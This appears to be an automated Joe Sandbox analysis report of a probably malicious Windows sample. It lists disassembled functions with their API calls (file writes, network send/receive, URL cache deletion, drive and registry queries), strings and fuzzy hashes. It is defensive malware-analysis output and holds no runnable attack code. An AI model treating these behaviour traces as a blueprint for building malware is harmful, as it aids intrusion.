Instruction ID: ad2fb0e2655c549c540ff47f191a76fdb33d2d75a9b1b61af0e22c3c344479bd
Opcode Fuzzy Hash: 1c5e78dc8b18edf47e620e5ac62898c9c9dab53ef6afcc05c5ff165d884242d4
Instruction Fuzzy Hash: 7B31CD74E0020ADBCB14CFD5D884BAFB7B9BF88304F1085A9E515A7390D7789A41CF95

Function 0040AB80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00416478,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040AC18
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040AC39
FlushFileBuffers.KERNEL32(000000FF), ref: 0040AC43
CloseHandle.KERNEL32(000000FF), ref: 0040AC4D
InterlockedExchange.KERNEL32(00415260,0000003D), ref: 0040AC5A

Strings

.Mw, xrefs: 0040AC4D

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID: .Mw
API String ID: 442028454-2453323595
Opcode ID: ad2f4acdc7dc609d23620ad603f7b9ac0ec9968bfa9634d541bf1612e6ff1dda
Instruction ID: b83d763b1b95064d17473309c927232932c49c75998401e70db37280cdfd902f
Opcode Fuzzy Hash: ad2f4acdc7dc609d23620ad603f7b9ac0ec9968bfa9634d541bf1612e6ff1dda
Instruction Fuzzy Hash: 46318CB4E00208EFDB00CF94EC85FAEB775BB48300F218569E515A7390C774AA51CB59

Function 00407440 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 004074BD
Sleep.KERNEL32(000003E8), ref: 004074EC
wsprintfA.USER32 ref: 00407517
DeleteUrlCacheEntry.WININET(?), ref: 00407527
Sleep.KERNEL32(000DBBA0), ref: 0040756F

Strings

%s%s, xrefs: 0040750B

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: 78ec990633dcb6ec7f944f4e4d58fe3f4f1b713779a899723d42b03c5855964e
Instruction ID: 516f793b53608c34cc4cf2fa152c24c34b7f811ac1bf05daad4eae6c0a67dd49
Opcode Fuzzy Hash: 78ec990633dcb6ec7f944f4e4d58fe3f4f1b713779a899723d42b03c5855964e
Instruction Fuzzy Hash: DB31FAB0D00218ABCB50DFA9D8887DDBBB4FB08305F1085AAE519B6291D7795AC4CF5A

Function 004063A0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 004063A6
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 004063F4
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406421
RegCloseKey.ADVAPI32(?), ref: 0040643E

Strings

NoDrives, xrefs: 00406418
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 004063E7

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 314293f9e134081a44844c09a9b0f17b23a1eb3db84437885ffb7fb3e0008323
Instruction ID: 69498c8574f0fe75ee0e18bc350880e9ca7d597cc08e8ba402afd13981da7d97
Opcode Fuzzy Hash: 314293f9e134081a44844c09a9b0f17b23a1eb3db84437885ffb7fb3e0008323
Instruction Fuzzy Hash: AC11DD71E4020A9BDB10CFD4D946BEEBBB4FB08708F118159E911B7280D7B85695CF99

Function 0040D160 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D184

Part of subcall function 0040D250: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040D290
Part of subcall function 0040D250: CloseHandle.KERNEL32(?), ref: 0040D2A9

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D1DF
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D21C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D227
DuplicateHandle.KERNEL32(00000000), ref: 0040D22E
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D242

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 0f4ce32234228e51373a718084f49bdd165b62b4cc5873150e0a73e2794c4448
Instruction ID: b4a3372add05cffca1b77c7dac60b50b4844df58a08520f3d20c10534500f2db
Opcode Fuzzy Hash: 0f4ce32234228e51373a718084f49bdd165b62b4cc5873150e0a73e2794c4448
Instruction Fuzzy Hash: 6B31D6B4A00209EFDB04DF98D889F9EBBB5FB48304F1081A8E905A7391D775EA95CF54

Function 00407370 Relevance: 9.1, APIs: 6, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00407376
srand.MSVCRT ref: 0040737D
rand.MSVCRT ref: 00407385
Sleep.KERNEL32 ref: 00407396
StrChrA.SHLWAPI(00000000,0000007C), ref: 004073BC
Sleep.KERNEL32(000003E8), ref: 004073ED

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Sleep$CountTickrandsrand
String ID:
API String ID: 3488799664-0
Opcode ID: c117d04b20163f9f953f828aeedb65ed40a1637f383e1ba8009b9b023e8ebc44
Instruction ID: b6b36855a0edcd25512206b50fb5473dda965f97846ebbbd8b428d1493e324f4
Opcode Fuzzy Hash: c117d04b20163f9f953f828aeedb65ed40a1637f383e1ba8009b9b023e8ebc44
Instruction Fuzzy Hash: 1D21D875E04208FBD704DF60D8856AE7B31EB45304F10C47AED026B381DA79AA80DB56

Function 00408EB0 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 00408EBD
_aullshr.NTDLL ref: 00408ECE
_allshl.NTDLL ref: 00408EF0
_aullshr.NTDLL ref: 00408F0C
_allshl.NTDLL ref: 00408F2E
_aullshr.NTDLL ref: 00408F4A

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: b6c741ae3234a389a253b0a23420a389dbca14ef940f6469a5e268d1ed8ccdf8
Instruction ID: 40a613cc88bb75a9b4956eb5c221db2524b4544d5556699ad57a8543b44bc28a
Opcode Fuzzy Hash: b6c741ae3234a389a253b0a23420a389dbca14ef940f6469a5e268d1ed8ccdf8
Instruction Fuzzy Hash: 3B111F32510518AB8B10EF6FC44268ABBD6EF843A1B25C136FC2CDF359D634DA514BD8

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: ad0a036109145f249a08ec8e181f2c3f15924be3383878ad7f1db0ee6fe723d0
Instruction ID: d4e165de5104959f260b85937ca272364f863e3dc64df769d8e1baf9f078371f
Opcode Fuzzy Hash: ad0a036109145f249a08ec8e181f2c3f15924be3383878ad7f1db0ee6fe723d0
Instruction Fuzzy Hash: 5831A5762083009BC710DF69D884A9BBBE4AFC9714F04456EFD9897381D634D919C7E7

Function 0040D410 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0040D429
CloseHandle.KERNEL32(?), ref: 0040D458
LeaveCriticalSection.KERNEL32(?), ref: 0040D467
DeleteCriticalSection.KERNEL32(?), ref: 0040D474

Strings

.Mw, xrefs: 0040D458

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID: .Mw
API String ID: 3102160386-2453323595
Opcode ID: 8282c1fc67bed24bc2a31477c864fcafb026bcbe456c45579f2b949671041cbb
Instruction ID: 6cfc4b79706d1bba1c4fbc1f32f5c608acb329628ab24e105d00911b1e03cc11
Opcode Fuzzy Hash: 8282c1fc67bed24bc2a31477c864fcafb026bcbe456c45579f2b949671041cbb
Instruction Fuzzy Hash: AC112D74D00208EFDB08DF94D984A9EBB75FF48309F2081A9E806AB341D734EE95DB95

Function 00401330 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401352
CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 0040135C

Part of subcall function 0040A1B0: HeapFree.KERNEL32(?,00000000,00402612,?,00402612,?), ref: 0040A20B

Strings

.Mw, xrefs: 0040135C
pdu, xrefs: 00401339

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu$.Mw
API String ID: 309973729-3908477397
Opcode ID: c39a517e5d4f3b53a3b778486be7aa7f806f5e58db1bfdeefdb0bb5bfa2d2843
Instruction ID: 8798272c393d99dde58c69795aa0ec1d050c8eff8ee51a61ed5db2294712bea8
Opcode Fuzzy Hash: c39a517e5d4f3b53a3b778486be7aa7f806f5e58db1bfdeefdb0bb5bfa2d2843
Instruction Fuzzy Hash: 400186765003109BCB21AF55ECC4E9B7779AF48311B044679FD056B396C638E85487A5

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: 3b7509c36c549ccc631e3d4bc530e991b8502da243600c65769ed081249f64d8
Instruction ID: 5b2b6301c056c53cf24b756eb28b55477e9028745ee4fe4862f5ad68d4db2f6a
Opcode Fuzzy Hash: 3b7509c36c549ccc631e3d4bc530e991b8502da243600c65769ed081249f64d8
Instruction Fuzzy Hash: 1841B371604A02AFC714EB39D848797F7A4BF88310F14827EE82D933D1E735A855CB99

Function 00408A90 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 00408A9E
_allshl.NTDLL ref: 00408AAD
_allshl.NTDLL ref: 00408ABC
_allshl.NTDLL ref: 00408ACB
_allshl.NTDLL ref: 00408ADA

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: 6ce938123fd61f227b6de6a29a17a105f2c46d2c2b520e971cfa59f1b0e97cc1
Instruction ID: 2f682f979519ea9f46037cdaf014f1fa89077d02b7b0d9f1a8f9fce332e03f2e
Opcode Fuzzy Hash: 6ce938123fd61f227b6de6a29a17a105f2c46d2c2b520e971cfa59f1b0e97cc1
Instruction Fuzzy Hash: 62F03672A11419D79720EFFFD4424CAF7E59F88354B118676F818E3270E5709D1146F5

Function 00406320 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(004062FF), ref: 0040632D
QueryDosDeviceW.KERNEL32(004062FF,?,00000208), ref: 0040636C
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00406384

Strings

\??\, xrefs: 00406378

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 2ed414b0295d9b290f281463d65c6dfdef2d1200349873c82773e40805adb805
Instruction ID: affcc5b958b6168f9f245bae438771e9e0bc574488939cd978d138ae5b874539
Opcode Fuzzy Hash: 2ed414b0295d9b290f281463d65c6dfdef2d1200349873c82773e40805adb805
Instruction Fuzzy Hash: 4101ECB0A4020CEBCB20DF55DD496DEB7B5AB04704F01C0BAAA09A7280D6759AD5CF99

Function 00407310 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,?,?), ref: 00407338
CreateThread.KERNEL32(00000000,00000000,00407370,00000000,00000000,00000000), ref: 0040735A
CloseHandle.KERNEL32(00000000), ref: 00407361

Strings

.Mw, xrefs: 00407361

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CloseCreateHandleThreadmemcpy
String ID: .Mw
API String ID: 2064604595-2453323595
Opcode ID: 025e05a46128585bda8c63f35f43421881db84198d69b8bbc1a6440a37f96729
Instruction ID: f93afe995e2a8aed0921a04be4342d20ba97acab7f8849ac526c8a5d2aa2879c
Opcode Fuzzy Hash: 025e05a46128585bda8c63f35f43421881db84198d69b8bbc1a6440a37f96729
Instruction Fuzzy Hash: 20F090B1A04308FBDB00DFA4EC46F9E7378BB48704F244468F908A73C1D675AA10CB59

Function 0040E770 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00406BF0,80000000,00000001,00000000,00000003,00000000,00000000,00406BF0), ref: 0040E790
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040E7A5
CloseHandle.KERNEL32(000000FF), ref: 0040E7B2

Strings

.Mw, xrefs: 0040E7B2

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID: .Mw
API String ID: 1378416451-2453323595
Opcode ID: 40331b06137dd1b3e9361709e89bde31eef538c005570258d90ec78dd49f2017
Instruction ID: 089911091b4f8663884f4f3f40455582f6b765449e30803f2281244f10637e16
Opcode Fuzzy Hash: 40331b06137dd1b3e9361709e89bde31eef538c005570258d90ec78dd49f2017
Instruction Fuzzy Hash: FDF0C074A40308FBEB20DFA4DC49FDDBB78EB04711F208695FA05BB2D0D6B56A918B54

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: 9043bbde74ed34bf2cc191a38aea973bc9bd065bac7bbf52c4b9ffe402cd0893
Instruction ID: e1641215121ef27e00d374ead4771de002ae7678dd3977a0c2b5eb1dd4af8410
Opcode Fuzzy Hash: 9043bbde74ed34bf2cc191a38aea973bc9bd065bac7bbf52c4b9ffe402cd0893
Instruction Fuzzy Hash: BE21B1B11043016FD304DF65D884A6BB7E8AF88318F004A3EF559A6291E774D948C7AA

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction ID: 923efa3f85c100d8dcf87aa4bb405070ff806fabc372267044aefe38fa55a991
Opcode Fuzzy Hash: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction Fuzzy Hash: B72131715083119BC200DF55D844D6BB7E8BFCCB54F044A2DF598A3291D774EA49CBAA

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,004021A5,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,004021A5,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction ID: 470b9b0004fc9485880b3b0232d8394a6163a25caab740c915041083b8486df8
Opcode Fuzzy Hash: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction Fuzzy Hash: 8811AD72148305AFD310CF65EC84AEBB7ECEB88710F40092EF945D2150E6B9E949A7B6

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction ID: 56798eeddd779857b304cdb020dc52eae5646efd672cabe94dca1e5c1b4e91c2
Opcode Fuzzy Hash: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction Fuzzy Hash: 90014B712483046EE7209B96DC88F9B77A8EBC8711F408429F608DA2D0D7B5A9459B7A

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 7e6606f5c14d1b9ede2abea3a5762152510b51c5bdf13f408023d0105cc90a62
Instruction ID: 0184f799374b3cbd514a588550e5351e3808897b1395f0a2de410330185c2ead
Opcode Fuzzy Hash: 7e6606f5c14d1b9ede2abea3a5762152510b51c5bdf13f408023d0105cc90a62
Instruction Fuzzy Hash: DF01F7352423009FC3209F26EC44ADB77E8AF49711F04443EE80697650EB34E545DB28

Function 00406FE0 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,00407A2A), ref: 00406FE8
SysAllocString.OLEAUT32(00416268), ref: 00406FF3
CoUninitialize.OLE32 ref: 00407018

Part of subcall function 00407030: SysFreeString.OLEAUT32(00000000), ref: 00407248

SysFreeString.OLEAUT32(00000000), ref: 00407012

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

